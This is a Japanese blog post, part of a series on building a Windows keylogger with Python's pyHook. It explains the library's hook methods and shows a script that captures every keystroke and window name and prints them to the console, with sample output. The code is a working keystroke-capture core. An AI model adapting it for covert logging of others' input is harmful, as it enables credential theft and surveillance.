pythonでpyHookを使ってキーロガーを作る (Windows) ③
前回に引き続き、下記のpyHookのリファレンスを見て、コードの意味を探る。
API Documentation
hkm.HookKeyboard()
上記のコードの意味を調べる。
def HookKeyboard(self): cpyHook.cSetHook(HookConstants.WH_KEYBOARD_LL, self.KeyboardSwitch) self.keyboard_hook=True
HookKeyboardメソッドはキーボードイベントを監視し、得た情報をKeyboardSwitchメソッドに渡す。
def KeyboardSwitch(self, msg, vk_code, scan_code, ascii, flags, time, hwnd, win_name): event=KeyboardEvent(msg, vk_code, scan_code, ascii, flags, time, hwnd, win_name) func=self.keyboard_funcs.get(msg) if func: return func(event) else: return True
KeyboardSwitchメソッドでは送られたデータのイベントタイプを確認し、それに対応するコールバック関数をkeyboard_funcsディクショナリから探し、見つかった場合はその関数を実行する。得た情報は下記のように格納され、コールバック関数に送られる。
msg →event.Messageに格納される
vk_code →event.KeyID〃
scan_code→event.ScanCode〃
ascii →event.Ascii〃
flags →event.flags〃
time →event.Time〃
hwnd →event.Window〃
win_name →event.WindowName〃
確認する
・ソースコード
from ctypes import * import pythoncom import pyHook import sys def Press(event): print("Message: "+ str(event.Message)) print("Time: "+str(event.Time)) print("Window: "+str(event.Window)) print("WindowName: "+event.WindowName) print("KeyID: "+str(event.KeyID)) print("ScanCode: "+str(event.ScanCode)) print("Ascii: "+str(event.Ascii)) print("flags: "+str(event.flags)) print("Key: "+event.Key) print("") if event.Key=='Q': sys.exit() return True hkm=pyHook.HookManager() hkm.KeyDown=Press hkm.HookKeyboard() pythoncom.PumpMessages()
・実行結果
> python .\sample.py Message: 256 Time: 342726328 Window: 1378112 WindowName: Windows PowerShell KeyID: 65 ScanCode: 30 Ascii: 0 flags: 0 Key: A Message: 256 Time: 342727171 Window: 1378112 WindowName: Windows PowerShell KeyID: 81 ScanCode: 16 Ascii: 0 flags: 0 Key: Q >
Asciiコードがうまく格納されていない。なぜだろう。
(間違い等あればコメントよろしくお願いいたします。)